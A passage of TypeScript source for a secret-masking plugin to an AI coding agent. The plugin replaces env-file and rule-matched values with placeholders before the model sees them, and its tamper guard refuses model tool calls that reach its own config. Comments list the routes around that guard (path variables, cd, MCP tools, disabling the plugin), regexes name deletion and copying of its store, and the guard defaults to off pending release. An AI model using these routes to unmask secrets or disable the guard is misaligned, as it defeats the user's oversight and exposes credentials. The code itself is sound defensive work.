397 $.ui.invalidate('ui.render')
398 const trial = fresh()
399 const out = mask(rest, trial, [...k.compiled, ...fromSettings])
400 const hits = masked(trial)
401 return hits.length ? `→ ${out} (${hits.map(x => `${x.p} by ${x.by}`).join(', ')})` : k.compiled.length + fromSettings.length ? 'no rule matched' : 'no rule matched: none is on'
402 }
403 const tab = !rest ? TABS[verb] : undefined
404 if (tab) { k.tab = tab; k.note = ''; await $.ui.open({ id: PANE, title: TITLE, focus: true }); k.opened = true; return undefined }
405 return `usage: /redact ${USAGE}`
406}
407
408// The vault of the session the hook runs in, read from the store once per session id (a /clear
409// starts a new one), every hook of that id sharing the one read, so two never number apart. A
410// read that fails is tried again by the next hook.
411const load = async ($: EngineInterface, id: string): Promise<Held> => {
412 const v: any = await $.store.get(VAULT + id)
413 if (!v || typeof v.ph !== 'object' || typeof v.n !== 'object') return fresh(id)
414 const vault: Vault = JSON.parse(JSON.stringify(v)) // the store's copy may be frozen
415 return { id, v: vault, byValue: new Map(Object.entries(vault.ph).map(([p, x]) => [x, p])), dirty: false }
416}
417const hold = async ($: EngineInterface, k: Kept) => {
418 const id = await $.session.id()
419 if (k.vault?.id !== id) {
420 k.revealed.clear() // a new session numbers from 1 again: no reveal carries over to its placeholders
421 const held = load($, id)
422 k.vault = { id, held }
423 held.catch(() => { if (k.vault?.held === held) k.vault = undefined })
424 }
425 return k.vault.held
426}
427// A toast that never throws: a catch's notice of what it left out (the model never learns it is
428// missing), a refusal the person should see.
429const told = ($: EngineInterface, text: string) => { try { $.ui.toast(text) } catch {} }
430// The status line under the prompt: how many values this session's vault holds, so masking shows
431// though the terminal draws the real values back. Set only when it changes.
432const badge = ($: EngineInterface, k: Kept, h: Held) => {
433 const n = Object.keys(h.v.ph).length
434 // with no rule on, a count alone would read as protected: nothing new is masked
435 const line = [`redact: ${n} masked`, ...k.compiled.length + k.extra ? [] : ['no rules on'],
436 ...k.broken ? [`${FILE} ${k.broken}, last rules kept (/redact rules)`] : [],
437 ...k.skipped.length ? [`skipped pattern ${k.skipped.join(', ')} (/redact show)`] : [],
438 ...k.raw ? ['drawn as the model reads it'] : []].join(' · ')
439 if (line === k.shown) return
440 k.shown = line
441 try { $.ui.status(line) } catch {}
442}
443// Drops a placeholder from the vault. Its number is never handed out again (`n` stays), so a row
444// still holding it never restores to another value: a call naming it is refused, and the value,
445// matched again, masks under a new number.
446const drop = (h: Held, p: string) => {
447 const value = h.v.ph[p]
448 if (value === undefined) return false
449 delete h.v.ph[p]
450 delete h.v.by?.[p]
451 h.byValue.delete(value)
452 h.known = undefined
453 h.dirty = true
454 return true
455}
456const forget = async ($: EngineInterface, k: Kept, p: string) => {
457 const h = await hold($, k)
458 if (!drop(h, p)) return 'already forgotten'
459 await keep($, k, h)
460 badge($, k, h)
461 return `forgot ${p}: a call naming it is refused from now on, and the value, matched again, masks under a new number`
462}
463// every placeholder at once, in one save
464const forgetAll = async ($: EngineInterface, k: Kept) => {
465 const h = await hold($, k)
466 const n = Object.keys(h.v.ph).filter(p => drop(h, p)).length
467 await keep($, k, h)
468 badge($, k, h)
469 return `forgot ${n}: a call naming one is refused from now on, and each value, matched again, masks under a new number`
470}
471// What the pane lists: each placeholder, its value, and the rule or pattern that masked it.
472const masked = (h: Held) => Object.entries(h.v.ph).map(([p, v]) => ({ p, v, by: h.v.by?.[p] ?? 'not recorded (masked before redact kept it)' }))
473// Saves the vault when a masking added to it, one save at a time so an older copy never lands
474// last. A save that fails throws, and the hook withholds: a --resume would not find the value.
475const keep = ($: EngineInterface, k: Kept, h: Held) => {
476 if (!h.dirty) return Promise.resolve()
477 return k.saving = k.saving.catch(() => {}).then(async () => {
478 if (!h.dirty) return
479 h.dirty = false
480 try { h.v.at = await $.clock.now(); await $.store.set(VAULT + h.id, h.v) }
481 catch (err) { h.dirty = true; throw err }
482 })
483}
484// One hook's masking: the session's vault with the file's rules that are on, then the settings'.
485const masker = async ($: EngineInterface, k: Kept, fixed: readonly Pattern[]) => {
486 await sync($, k)
487 const h = await hold($, k)
488 const patterns = [...k.compiled, ...fixed]
489 return { m: (s: string) => mask(s, h, patterns), done: async () => { await keep($, k, h); badge($, k, h) } }
490}
491// drops the vaults of sessions untouched for KEEP_MS; a --resume of one finds its placeholders gone
492const prune = async ($: EngineInterface) => {
493 const now = await $.clock.now()
494 for (const key of await $.store.keys()) {
495 if (!key.startsWith(VAULT)) continue
496 const v: any = await $.store.get(key)
497 if (typeof v?.at !== 'number' || now - v.at > KEEP_MS) await $.store.delete(key)
498 }
499}
500
501// The env files at the top of the folder a session starts in: `.env`, `.env.*` and `*.env`
502// (dotenv, Docker), `.envrc` (direnv: its `export KEY=value` lines read, the rest of its shell
503// passes), `.dev.vars` and `.dev.vars.*` (wrangler), `.flaskenv`; and the files a compose file's
504// `env_file:` names. Never a template's (`.env.example`, `example.env`): its values are `changeme`.
505const ENV_FILE = /^(?:\.env(?:\..+)?|[^.].*\.env|\.envrc|\.dev\.vars(?:\..+)?|\.flaskenv)$/i
506const TEMPLATE = /(?:^|\.)(?:example|sample|template|dist)(?:\.|$)/i
507const COMPOSE = /^(?:docker-)?compose(?:\.[\w-]+)?\.ya?ml$/i
508// The paths a compose file's `env_file:` names, as a scalar after it or a list below it (`- a.env`,
509// `- path: a.env`), quotes stripped. Read as lines, not as YAML: a key indented less ends the list.
510export const composeEnvFiles = (text: string) => {
511 const out: string[] = []
512 const lines = text.split(/\r?\n/)
513 const unquote = (s: string) => s.replace(/^(['"])(.*)\1$/, '$2')
514 lines.forEach((l, i) => {
515 const r = /^(\s*)env_file:[ \t]*([^#]*?)\s*(?:#.*)?$/.exec(l)
516 if (!r) return
517 const [, indent, rest] = r as unknown as [string, string, string]
518 if (rest.startsWith('[')) return void out.push(...rest.slice(1, rest.lastIndexOf(']')).split(',').map(s => unquote(s.trim())).filter(Boolean))
519 if (rest) return void out.push(unquote(rest))
520 for (const below of lines.slice(i + 1)) {
521 if (!below.trim() || /^\s*#/.test(below)) continue
522 const at = below.search(/\S/)
523 if (at < indent.length || (at === indent.length && !below.trimStart().startsWith('-'))) break
524 const p = /^\s*(?:-\s+(?!path:)([^\s#:]+|'[^']+'|"[^"]+")|(?:-\s+)?path:\s*([^\s#]+|'[^']+'|"[^"]+"))\s*(?:#.*)?$/.exec(below)
525 if (p) out.push(unquote(p[1] ?? p[2]!))
526 }
527 })
528 return out
529}
530// `KEY=value`, `export` before it allowed; a quoted value runs to its closing quote, an unquoted
531// one to a ` #` comment (`a#b` is one value). A value with a line break in its quotes is skipped,
532// not half read.
533const ENV_LINE = /^\s*(?:export\s+)?([A-Za-z_][A-Za-z0-9_.-]*)\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'#](?:.*?\S)?)?)(?:\s+#.*)?\s*$/
534// a value that only names another (`${OTHER}`, `$OTHER`) or runs a command (`$(cat key)`, an
535// `.envrc`'s) holds no secret of its own
536const REF = /^\$\{?\w+\}?$|^\$\(|^`/
537export const envValues = (text: string) => text.split(/\r?\n/).flatMap(l => {
538 const r = ENV_LINE.exec(l)
539 const value = r && (r[2] ?? r[3] ?? r[4] ?? '')
540 return r && value ? [{ key: r[1]!, value }] : []
541})
542// Puts each secret-shaped value of the env files at `dir` (and those its compose files name) in the vault, under its key as label
543// (`⟦GITHUB_TOKEN_n⟧`, ENV where the key is no label), so it is masked wherever it comes back
544// with no rule on. Only a `strong` value: `PORT=3000` or `DEBUG=true`, vaulted, would mask
545// every 3000 and true all session. A value the vault holds keeps its placeholder. The number added.
546// Run again before every prompt with the session's `seen`: a file is read only when its time or
547// size changed since, and only then are its values put in, so a value forgotten in the pane stays
548// out until its file changes.
549type Seen = Map<string, { sig: string; got: any }>
550const reread = async <T,>($: EngineInterface, seen: Seen, path: string, parse: (t: string) => T) => {
551 const st = await $.fs.stat(path).catch(() => undefined)
552 const sig = st ? `${st.mtimeMs}:${st.size}` : 'none'
553 const was = seen.get(path)
554 if (was?.sig === sig) return { got: was.got as T, changed: false }
555 const got = parse(st ? await $.fs.read(path).then(String, () => '') : '')
556 seen.set(path, { sig, got })
557 return { got, changed: true }
558}
559const seed = async ($: EngineInterface, h: Held, dir: string, seen: Seen) => {
560 const before = h.byValue.size
561 const base = dir.replace(/[\\/]+$/, '')
562 const entries = (await $.fs.list(dir)).filter(f => f.kind !== 'dir').map(f => f.name).sort()
563 const named: string[] = []
564 for (const name of entries.filter(n => COMPOSE.test(n))) {
565 const { got } = await reread($, seen, `${base}/${name}`, composeEnvFiles)
566 named.push(...got.map(p => p.replace(/^\.[\\/]+/, '')))
567 }
568 // once each, as listed or as a compose file names it (relative to the folder, or absolute)
569 const names = [...new Set([...entries.filter(n => ENV_FILE.test(n)), ...named])]
570 .filter(n => !TEMPLATE.test(n.replace(/^.*[\\/]/, '')))
571 for (const name of names) {
572 const path = /^(?:[\\/]|[A-Za-z]:)/.test(name) ? name : `${base}/${name}`
573 const { got, changed } = await reread($, seen, path, envValues)
574 if (!changed) continue
575 for (const { key, value } of got) {
576 if (value.includes(OPEN) || REF.test(value) || !strong(value)) continue
577 const label = key.toUpperCase().replace(/[.-]/g, '_')
578 mint(h, value, LABEL.test(label) ? label : 'ENV', `${name}: ${key}`)
579 }
580 }
581 return h.byValue.size - before
582}
583// Seeds this session's vault from the env files at `dir`, the session's folder when absent; a new
584// session id (a /clear) reads every file again. A failure is logged, never thrown: the prompt it
585// runs before still goes.
586const seedHere = async ($: EngineInterface, k: Kept, dir?: string) => {
587 try {
588 await sync($, k)
589 if (k.envOn === false) return
590 const h = await hold($, k)
591 if (k.env?.id !== h.id) k.env = { id: h.id, seen: new Map() }
592 const n = await seed($, h, dir ?? await $.session.cwd(), k.env.seen)
593 await keep($, k, h)
594 badge($, k, h)
595 if (n) told($, `redact: ${n} value${n > 1 ? 's' : ''} from the env files here masked (/redact show)`)
596 } catch (err) { $.ui.log(`redact: env files not read: ${(err as Error)?.message ?? err}`, { to: 'debug' }) }
597}
598
599// Tamper guard: what decides this plugin's masking, kept out of the model's reach. The patterns
600// file, read or written (/redact show lists it); the store file of vaults (Bash is checked whole,
601// so reading it is refused too); and its enabledPlugins and pluginConfigs entries in a settings
602// file. Best effort: a Bash command that spells a path another way (a variable, `cd` first, a
603// search over the home folder), an MCP server's own file tools, the plugin's own source and
604// `claude plugin disable` get past it.
605// its file, a glob over the folder, or the folder itself (`rm -rf …/store`)
606const STORE = /plugins[\\/]+store(?:[\\/]+(?:redact|[^\s'"]*[*?[])|[\\/]*(?=[\s'";|&)]|$))/i
607// Bash and the rules file: its name (FILE), a glob at the top of a `.claude` folder
608// (`cat ~/.claude/*`), or a recursive reader or copier naming that folder. A bare `ls ~/.claude`
609// passes, and so does the word claude (`grep -rn claude .`, `~/dotagents/claude/*`). A
610// CLAUDE_CONFIG_DIR not named .claude gets the name rule only.
611const RULES_SH = /redact-rules\.json|(?:^|[\s'"=~\\/])\.claude[\\/]+[^\s'"\\/]*[*?[]|\b(?:grep|rg|ag|ack|find|tar|zip|rsync|cp|scp)\b[^|;&\n]*(?:^|[\s'"=~\\/])\.claude[\\/]*(?=[\s'";|&)]|$)/i
612// where a path lands, `/`-separated and lowercased (a case alias on Windows and macOS), else as
613// spelled; a Grep with no path searches the working directory
614const land = async ($: EngineInterface, p: string) =>
615 ((await $.fs.stat(p, { resolve: true }).catch(() => undefined))?.realPath ?? p).replace(/\\/g, '/').replace(/\/+$/, '').toLowerCase()
616// a file tool's path that lands on the rules file, or a Grep over a folder that holds it
617const reaches = async ($: EngineInterface, e: any, file: string) => {
618 const p = e.tool === 'Grep' ? String(e.path ?? '.') : e.file_path ?? e.notebook_path ?? e.path
619 if (typeof p !== 'string' || !p) return false
620 if (p.toLowerCase().includes(FILE)) return true
621 const [at, f] = await Promise.all([land($, p), land($, file)])
622 return at === f || (e.tool === 'Grep' && f.startsWith(at + '/'))
623}
624// A file tool's settings file is any of that name, since ~/.claude/settings.json can be a link
625// to one elsewhere (a dotfiles repo) and the tool names the target: the before and after decide.
626// Bash names it under a claude folder, and redact.
627const SETTINGS = /(?:^|[\\/])settings(?:\.local)?\.json$/i
628const SETTINGS_SH = /claude[\\/]+settings(?:\.local)?\.json/i
629// this plugin's entries in a settings file's text; undefined when it is no JSON, since a broken
630// settings file drops them all
631const ours = (text: string) => {
632 try {
633 const j = JSON.parse(text)
634 return JSON.stringify(['enabledPlugins', 'pluginConfigs'].map(k => Object.entries(j?.[k] ?? {}).filter(([id]) => id === 'redact' || id.startsWith('redact@'))))
635 } catch { return undefined }
636}
637const tamper = async ($: EngineInterface, e: any, file: string) => {
638 if (e.tool === 'Bash') return STORE.test(e.command) || RULES_SH.test(e.command) || (SETTINGS_SH.test(e.command) && /redact/i.test(e.command))
639 if (await reaches($, e, file)) return true
640 if (!WRITES[e.tool]) return false
641 const path = String(e.file_path ?? e.notebook_path ?? '')
642 if (STORE.test(path)) return true
643 if (!SETTINGS.test(path) || (e.tool !== 'Write' && e.tool !== 'Edit')) return false
644 // an Edit names only the lines it changes, so compare the entries before and after it
645 const before = await $.fs.read(path).catch(() => '{}')
646 const after = e.tool === 'Write' ? String(e.content)
647 : e.replace_all ? before.split(e.old_string).join(e.new_string) : before.replace(e.old_string, () => e.new_string)
648 return ours(after) !== ours(before)
649}
650
651export const register: Register = (on, options) => {
652 // The `patterns` option, lines in /redact add's short form, masked after the file's rules.
653 // One that does not compile is skipped, the rest stay on. They run in each hook's budget: a slow
654 // one gets the text withheld by the `.catch`es below, never passed on, so bounding its repeats
655 // is the user's call.
656 // an unset option reads as '', a line no pattern holds
657 const settings = (typeof options.patterns === 'string' ? [options.patterns] : Array.isArray(options.patterns) ? options.patterns : [])
658 .map(l => String(l).trim()).filter(Boolean)
659 const fromSettings = compile(settings.flatMap(line => lineFault(line) ? [] : [read(line)]), 'pattern from settings')
660 const skipped = settings.flatMap((src, i) => lineFault(src) ? [`#${i + 1}`] : [])
661 // note: the pane's answer to its last add, remove or forget
662 const kept: Kept = { rules: [], compiled: [], note: '', extra: fromSettings.length, saving: Promise.resolve(), raw: false, skipped, revealed: new Set(), tab: 'session', sample: '' }
663 // The tamper guard is off while redact is being developed (it refuses the work on its own
664 // files); the tests turn it on with this undeclared option. Default it back to on before release.
665 const guarded = options.guard === true
666 const failed = (where: string, kind: string) => `redact could not mask ${where} (${kind})`
667
668 on('session.start', async ($, e, next) => {
669 try { await $.command.register({ name: 'redact', description: 'Show the redact pane, test, add or remove rules, turn them on or off, and forget held values.', argumentHint: USAGE, immediate: true }) }
670 catch (err) { $.ui.log(`redact: /redact not registered: ${(err as Error)?.message ?? err}`, { to: 'debug' }) } // throws on hot reload (no session bound yet)
671 try { await prune($) } catch (err) { $.ui.log(`redact: old vaults not pruned: ${(err as Error)?.message ?? err}`, { to: 'debug' }) }
672 try { await sync($, kept); badge($, kept, await hold($, kept)) } // a --resume starts with a vault
673 catch (err) { $.ui.log(`redact: vault not loaded: ${(err as Error)?.message ?? err}`, { to: 'debug' }) }
674 // the project's env values, masked from the first request on
675 await seedHere($, kept, e.cwd)
676 return next(e)
677 })
678
679 on('command.run', { command: 'redact' }, async ($, e) => {
680 const reply = await answer($, kept, fromSettings, e.args)
681 if (reply) told($, `redact: ${reply}`)
682 return {}
683 })
684
685 // ---- Masking: everything the model reads, before it is recorded or sent.
686
687 // A slash command's line takes no rewrite here: its arguments are masked at command.run, a
688 // skill's text at skill.prompt.
689 on('prompt.submit', async ($, e, next) => {
690 // Every /redact line stays out of the conversation: dropped, it never enters it. command.run
691 // has run it by now (`e.command.args` is what its hooks left); the pane opens here only when
692 // command.run did not open it, should a build drop before it runs.
693 if (e.command?.name === 'redact') {
694 const tab = TABS[e.command.args.trim()]
695 if (!kept.opened && tab) { kept.tab = tab; kept.note = ''; await $.ui.open({ id: PANE, title: TITLE, focus: true }) }
696 kept.opened = false
697 return { drop: 'redact: kept out of the conversation' }
698 }
699 // an env file changed since the last prompt masks from this one on
700 await seedHere($, kept)
701 if (e.command) return next(e)
702 const { m, done } = await masker($, kept, fromSettings)
703 const text = m(e.text)
704 await done()
705 return next(text === e.text ? e : { ...e, text })
706 }).catch((_, _e, next) => ({ drop: `${failed('this prompt', next.error.kind)}, so it was not sent.` }))
707
708 // /redact's own arguments are a rule for the rules file, not text for the model.
709 on('command.run', async ($, e, next) => {
710 if (e.command === 'redact' || !e.args) return next(e)
711 const { m, done } = await masker($, kept, fromSettings)
712 const args = m(e.args)
713 await done()
714 return next(args === e.args ? e : { ...e, args })
715 }).catch((_, e, next) => next.called ? { text: failed(`/${e.command}'s output`, next.error.kind) } : { text: `${failed(`/${e.command}'s arguments`, next.error.kind)}, so it did not run.` })
716
717 on('skill.prompt', async ($, e, next) => {
718 const r = await next(e)
719 const { m, done } = await masker($, kept, fromSettings)
720 const text = m(r.text)
721 await done()
722 return text === r.text ? r : { ...r, text }
723 }).catch((_, e, next) => ({ text: `${failed(`the ${e.skill} skill's text`, next.error.kind)}, so it was left out.` }))
724
725 // The first message's blocks (CLAUDE.md, the account's email, the date). A rewritten claudeMd
726 // text leaves the files behind it unknown, so the engine renders nothing again from them.
727 on('prompt.context', async ($, e, next) => {
728 const r = await next(e)
729 const { m, done } = await masker($, kept, fromSettings)
730 const blocks = r.blocks.map(b => { const text = m(b.text); return text === b.text ? b : { ...b, text } })
731 await done()
732 return blocks.some((b, i) => b !== r.blocks[i]) ? { ...r, blocks } : r
733 }).catch(($, _e, next) => { told($, `${failed('the first request\'s context (CLAUDE.md, the date)', next.error.kind)}, so it was left out.`); return { blocks: [] } })
734
735 // The system prompt. Nothing changed hands core's own list back, so `shared` sections keep the
736 // prompt cache; failing, only those stay: they read the same for everyone, so hold nothing of ours.
737 on('prompt.compose', async ($, e, next) => {
738 const r = await next(e)
739 const { m, done } = await masker($, kept, fromSettings)
740 const sections = r.sections.map(s => { const text = m(s.text); return text === s.text ? s : { ...s, text } })
741 await done()
742 return sections.some((s, i) => s !== r.sections[i]) ? { sections } : r
743 }).catch(async ($, e, next) => {
744 told($, `${failed('the system prompt', next.error.kind)}, so only its shared sections were sent.`)
745 return { sections: (await next(e)).sections.filter(s => s.scope === 'shared') }
746 })
747
748 // What the engine injects per request (a reminder, a mentioned file, a hook's context): the
749 // transcript keeps the engine's record, the request carries this answer.
750 on('prompt.attachment', async ($, e, next) => {
751 const r = await next(e)
752 if (typeof r.text !== 'string') return r
753 const { m, done } = await masker($, kept, fromSettings)
754 const text = m(r.text)
755 await done()
756 return text === r.text ? r : { ...r, text }
757 }).catch(($, e, next) => { told($, `${failed(`an injected ${e.type}`, next.error.kind)}, so it was left out.`); return { text: null } })
758
759 // An MCP server's words about its tools; the built-in tools' are the engine's own.
760 on('tool.describe', async ($, e, next) => {
761 const r = await next(e)
762 if (!e.tool.startsWith('mcp__')) return r
763 const { m, done } = await masker($, kept, fromSettings)
764 const description = m(r.description)
765 await done()
766 return description === r.description ? r : { ...r, description }
767 }).catch(async (_, e, next) => ({ ...(await next(e)), description: 'redact: withheld, as masking it failed.' }))
768
769 // Every row a conversation keeps, a subagent's too: what the transcript stores and the next
770 // request sends. The model's response holds no value it never saw, and a notice is never sent.
771 // Failing, the row's text is withheld: the catch maps blocks to a constant, nothing that can throw.
772 on('session.append', async ($, e, next) => {
773 if (e.door === 'response') return next(e)
774 // a /redact line's arguments (a pattern being added) are emptied in any row, a notice too:
775 // the engine records them empty already, this holds should it stop
776 const scrubbed = blocks(e.message.content, s => s.replace(REDACT_ARGS, '$1$2'))
777 if (e.door === 'notice') return next(scrubbed === e.message.content ? e : { ...e, message: { ...e.message, content: scrubbed } })
778 const { m, done } = await masker($, kept, fromSettings)
779 const content = blocks(scrubbed, m)
780 await done()
781 return next(content === e.message.content ? e : { ...e, message: { ...e.message, content } })
782 }).catch((_, e, next) => next({ ...e, message: { ...e.message, content: blocks(e.message.content, () => WITHHELD) } }))
783
784 // ---- Restoring: the real values, where they run or are drawn on this machine.
785
786 on('tool.call', async ($, e, next) => {
787 const h = await hold($, kept)
788 const missing = new Set<string>()
789 const input = deep(e, s => restore(s, h, missing)) as typeof e
790 if (missing.size) {
791 const names = [...missing].join(', ')
792 const isNo = missing.size > 1 ? 'are no placeholders' : 'is no placeholder'
793 // the deny reaches only the model; the person sees why their call stopped too
794 told($, `redact refused ${e.tool}: ${names} ${isNo} this session holds`)
795 const escaped = [...missing].map(p => ESC + p.slice(OPEN.length)).join(', ')
796 return { deny: `${names} ${isNo} this session's redact vault holds, so its real value cannot be put back. Use the placeholders exactly as they appear in the conversation, or ask the user. To write one as literal text (a doc, a report), put ! after its opening bracket: ${escaped}.` }
797 }
798 if (guarded && await tamper($, input, await place($, kept))) {
799 return { deny: `this call would reach the redact plugin's own config (its rules file, its store of vaults, or its entries in a settings file), which decides what gets masked. Ask the user to make that change: they edit the file themselves, or use /redact show.` }
800 }
801 return next(input)
802 }).catch(async (_, e, next) => ({
803 // No work here, the grace is 1 s. `called`: the tool ran, so retrying repeats it.
804 deny: next.called
805 ? `${e.tool} ran, but its output is withheld: the redact plugin failed after it (${next.error.kind}).`
806 : `${e.tool} did not run: the redact plugin failed before it (${next.error.kind}).`,
807 }))
808
809 // The terminal is this machine's; every other surface (the mobile app over Remote Control, the
810 // desktop app, VS Code) keeps the placeholders, so drawing never sends a value off the terminal. A
811 // failed hook draws the engine's row, placeholders and all.
812 // `kept.raw` (the pane's toggle) draws the placeholders on the terminal too, as the model reads
813 // them: the transcript and the suggested prompt
814 const drawn = (s: string) => !kept.raw && s.includes(OPEN)
815 on('ui.render', { component: 'AssistantMessage' }, async ($, e, next) =>
816 e.surface === 'terminal' && drawn(e.props.text) ? next({ ...e, props: { ...e.props, text: restore(e.props.text, await hold($, kept)) } }) : next(e))
817 on('ui.render', { component: 'UserMessage' }, async ($, e, next) =>
818 e.surface === 'terminal' && drawn(e.props.text) ? next({ ...e, props: { ...e.props, text: restore(e.props.text, await hold($, kept)) } }) : next(e))
819 on('ui.render', { component: 'ToolUse' }, async ($, e, next) => {
820 if (e.surface !== 'terminal' || !drawn(JSON.stringify(e.props.input) ?? '')) return next(e)
821 const h = await hold($, kept)
822 return next({ ...e, props: { ...e.props, input: deep(e.props.input, s => restore(s, h)) } })
823 })
824 on('ui.render', { component: 'ToolResult' }, async ($, e, next) => {
825 if (e.surface !== 'terminal' || !drawn(JSON.stringify(e.props.output) ?? '')) return next(e)
826 const h = await hold($, kept)
827 return next({ ...e, props: { ...e.props, output: deep(e.props.output, s => restore(s, h)) } })
828 })
829 // the engine's guess at the next prompt, in the box: submitted, it is masked again
830 on('prompt.suggest', async ($, e, next) => drawn(e.text) ? next({ ...e, text: restore(e.text, await hold($, kept)) }) : next(e))
831
832 on('ui.render', { component: 'Pane', requestId: PANE }, async ($, e) => {
833 await sync($, kept)
834 const file = await place($, kept)
835 const vault = masked(await hold($, kept))
836 const { rules, note, tab, sample } = kept
837 const { Box, Text, Button } = $.ui.resolve(e)
838 const w = Math.max(1, e.props.bodyColumns ?? 80)
839 const len = (s: string) => [...s].length
840 const section = (k: string, title: string, right?: string) => {
841 const bare = 3 + len(title) + 1
842 const r = right && w - bare - (len(right) + 4) >= 2 ? right : undefined
843 const fill = Math.max(2, w - bare - (r ? len(r) + 4 : 0))
844 return (
845 <Text key={k} wrap="truncate-end">
846 <Text dimColor>── </Text>
847 <Text weight="semibold">{title}</Text>
848 <Text dimColor> {'─'.repeat(fill)}</Text>
849 {r ? <Text dimColor> {r} </Text> : null}
850 {r ? <Text dimColor>──</Text> : null}
851 </Text>
852 )
853 }
854 const redraw = (s: string) => { kept.note = s; $.ui.invalidate('ui.render') }
855 const go = (t: Tab) => { kept.tab = t; kept.note = ''; $.ui.invalidate('ui.render') }
856 const tabBtn = (t: Tab, title: string, hk: string) => (
857 <Button key={`tab-${t}`} label={`${title}${tab === t ? '•' : ' '}`} hotkey={hk} plain dimColor={tab !== t} onPress={() => go(t)} />
858 )
859 // The value, on the terminal only: every other surface (mobile, desktop, VS Code) keeps the
860 // placeholders, so the pane never sends a value there either. The model never reads a pane, and a tool that reads the
861 // screen back (a Bash `tmux capture-pane`) returns text the vault masks again, as it holds
862 // every value shown here; a screenshot is an image, which nothing masks (README, Limits).
863 // A value with a line break or past 40 characters (a private key runs to 8 KB) is cut to its ends
864 // until its reveal is pressed, so one key does not fill the pane or show whole on a shared screen.
865 const long = (v: string) => e.surface === 'terminal' && (v.includes('\n') || v.length > 40)
866 const shown = (p: string, v: string) => {
867 if (e.surface !== 'terminal') return `${v.length} chars`
868 if (!long(v) || kept.revealed.has(p)) return v
869 const lines = v.split('\n').length
870 const size = `(${lines > 1 ? `${lines} lines, ` : ''}${v.length} chars)`
871 // a short one shows its size alone, as its ends would be all of it; a line break draws as ⏎
872 const ends = v.length > 20 ? `${v.slice(0, 6)}…${v.slice(-4)} `.replace(/\r?\n/g, '⏎') : ''
873 return ends + size
874 }
875 const reveal = (p: string) => { kept.revealed.has(p) ? kept.revealed.delete(p) : kept.revealed.add(p); $.ui.invalidate('ui.render') }
876 // a long pattern is cut in the middle, so its row keeps the remove button on a narrow terminal
877 const pattern = (text: string) => <Box flexShrink={1}><Text wrap="truncate-middle">{text}</Text></Box>
878 const skip = (f: string | undefined) => f ? <Text color="red"> skipped: {f}</Text> : null
879 const broken = rules.filter(fault).length + settings.filter(lineFault).length + (kept.broken ? 1 : 0)
880 const label = (r: unknown) => fault(r) ? null : <Text dimColor> as {spec(r).label}</Text>
881 const lit = kept.compiled.length
882 const trial = fresh()
883 const preview = sample ? mask(sample, trial, [...kept.compiled, ...fromSettings]) : ''
884 const hits = sample ? masked(trial) : []
885 let testField = <Text dimColor>{' try a sample with /redact test <text>'}</Text>
886 let addField = <Text dimColor>{' add one with /redact add <regex>'}</Text> // mobile has no Input
887 if (e.surface !== 'mobile') {
888 const { Input } = $.ui.resolve(e)
889 testField = <Input key="test" value={sample} label=" test " placeholder="sample text; Enter previews what these patterns mask" submitLabel="test" onSubmit={v => { kept.sample = v; $.ui.invalidate('ui.render') }} />
890 addField = <Input key="add" label=" add " placeholder="LABEL [i min=N strong prose]: regex, or a bare regex, masked as SECRET" submitLabel="add" onSubmit={async v => redraw(await add($, kept, v.trim()))} />
891 }
892 return (
893 <Box flexDirection="column" gap={1}>
894 <Box flexDirection="column">
895 <Box flexWrap="wrap" columnGap={2} justifyContent="space-between">
896 <Box flexWrap="wrap" columnGap={2}>
897 {tabBtn('session', `This session (${vault.length})`, 's')}
898 {tabBtn('rules', `Rules (${lit + fromSettings.length} on)`, 'r')}
899 {tabBtn('help', 'Guide', 'h')}
900 {broken > 0 && <Text color="red">✗ {broken} skipped</Text>}
901 </Box>
902 {e.surface === 'terminal' && (
903 <Box gap={1}>
904 <Text dimColor>terminal draws: {kept.raw ? 'as the model reads it' : 'the real values'}</Text>
905 <Button key="raw" label="switch" hotkey="d" onPress={async () => { kept.raw = !kept.raw; badge($, kept, await hold($, kept)); $.ui.invalidate('ui.render') }} />
906 </Box>
907 )}
908 </Box>
909 {note && <Text color={/^(not added|not saved|nothing added|already|no such)/.test(note) ? 'warning' : undefined} dimColor={!/^(not added|not saved|nothing added|already|no such)/.test(note)}>{note}</Text>}
910 </Box>
911 {tab === 'session' && (
912 <Box flexDirection="column">
913 <Box gap={1}>
914 <Box flexShrink={1}>{section('sec-session', 'This session', `${vault.length} masked`)}</Box>
915 {vault.length > 1 && <Box flexShrink={0}><Button key="forget-all" label="forget all" plain onPress={async () => redraw(await forgetAll($, kept))}><Text color="red">✗ all</Text></Button></Box>}
916 </Box>
917 {vault.length === 0
918 ? <Text dimColor> nothing masked yet</Text>
919 : <Text dimColor> forget drops one from the vault: a call naming it is refused, and the value masks under a new number</Text>}
920 {vault.map(({ p, v, by }) => (
921 <Box key={p} flexDirection="column">
922 <Box gap={1}>
923 <Box flexShrink={1}><Text> {p} {shown(p, v)}</Text></Box>
924 {long(v) && <Box flexShrink={0}><Button key={`reveal-${p}`} label={kept.revealed.has(p) ? 'hide' : 'reveal'} plain dimColor onPress={() => reveal(p)}>{kept.revealed.has(p) ? '▾' : '▸'}</Button></Box>}
925 <Box flexShrink={0}><Button key={`forget-${p}`} label="forget" plain onPress={async () => redraw(await forget($, kept, p))}><Text color="red">✗</Text></Button></Box>
926 </Box>
927 <Text dimColor> masked by {by}</Text>
928 </Box>
929 ))}
930 </Box>
931 )}
932 {tab === 'rules' && (
933 <Box flexDirection="column" gap={1}>
934 <Box flexDirection="column">
935 <Box gap={1}>
936 <Box flexShrink={1}>{section('sec-test', 'Test', sample ? `${hits.length} matched` : 'without saving')}</Box>
937 {sample && <Box flexShrink={0}><Button key="clear-test" label="clear" plain onPress={() => { kept.sample = ''; $.ui.invalidate('ui.render') }}><Text color="red">✗</Text></Button></Box>}
938 </Box>
939 {testField}
940 {sample && (
941 <Box flexDirection="column">
942 <Text> → {preview}</Text>
943 {hits.length === 0
944 ? <Text dimColor> {lit + fromSettings.length ? 'no rule matched' : 'no rule matched: none is on'}</Text>
945 : hits.map(x => <Text key={x.p} dimColor> {x.p} {shown(x.p, x.v)} · masked by {x.by}</Text>)}
946 </Box>
947 )}
948 </Box>
949 <Box flexDirection="column">
950 {section('sec-rules', 'Rules', `${lit} of ${rules.length} on`)}
951 <Text dimColor> in {file}, for every project; edit it by hand or here</Text>
952 {kept.broken && <Text color="red"> {FILE} {kept.broken}: masking with the last rules read until it is fixed by hand</Text>}
953 {addField}
954 {rules.length === 0 && <Text dimColor> none yet</Text>}
955 {rules.map((r: any, i) => {
956 const src = typeof r?.pattern === 'string' ? r.pattern : JSON.stringify(r)
957 const name = typeof r?.name === 'string' && r.name ? r.name : undefined
958 const f = fault(r), enabled = isOn(r)
959 return (
